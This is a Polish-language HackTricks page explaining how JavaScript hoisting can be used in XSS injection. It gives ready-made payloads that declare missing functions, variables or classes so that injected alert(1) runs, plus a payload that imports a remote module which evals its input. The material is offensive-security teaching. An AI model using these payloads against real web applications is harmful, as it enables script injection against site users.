JS Hoisting
Reading time: 5 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
W języku JavaScript opisany jest mechanizm znany jako Hoisting, w którym deklaracje zmiennych, funkcji, klas lub importów są koncepcyjnie przenoszone na górę ich zakresu przed wykonaniem kodu. Proces ten jest automatycznie realizowany przez silnik JavaScript, który przetwarza skrypt w wielu przejściach.
Podczas pierwszego przejścia silnik analizuje kod, aby sprawdzić błędy składniowe i przekształca go w abstrakcyjne drzewo składniowe. Faza ta obejmuje hoisting, proces, w którym niektóre deklaracje są przenoszone na górę kontekstu wykonania. Jeśli faza analizy jest udana, co wskazuje na brak błędów składniowych, wykonanie skryptu postępuje.
Kluczowe jest zrozumienie, że:
- Skrypt musi być wolny od błędów składniowych, aby mogło nastąpić wykonanie. Zasady składni muszą być ściśle przestrzegane.
- Umiejscowienie kodu w skrypcie wpływa na wykonanie z powodu hoistingu, chociaż wykonywany kod może różnić się od jego reprezentacji tekstowej.
Typy hoistingu
Na podstawie informacji z MDN, w JavaScript istnieją cztery wyraźne typy hoistingu:
- Value Hoisting: Umożliwia użycie wartości zmiennej w jej zakresie przed linią deklaracji.
- Declaration Hoisting: Pozwala na odwoływanie się do zmiennej w jej zakresie przed jej deklaracją bez powodowania
ReferenceError
, ale wartość zmiennej będzieundefined
. - Ten typ zmienia zachowanie w swoim zakresie z powodu deklaracji zmiennej przed jej rzeczywistą linią deklaracji.
- Efekty uboczne deklaracji występują przed oceną reszty kodu, który ją zawiera.
Szczegółowo, deklaracje funkcji wykazują zachowanie hoistingu typu 1. Słowo kluczowe var
demonstruje zachowanie typu 2. Deklaracje leksykalne, które obejmują let
, const
i class
, pokazują zachowanie typu 3. Na koniec, instrukcje import
są unikalne, ponieważ są hoistowane zarówno z zachowaniem typu 1, jak i typu 4.
Scenariusze
Dlatego jeśli masz scenariusze, w których możesz Wstrzyknąć kod JS po użyciu niezadeklarowanego obiektu, możesz naprawić składnię poprzez jego zadeklarowanie (tak aby twój kod został wykonany zamiast zgłoszenia błędu):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Więcej scenariuszy
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
Odniesienia
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.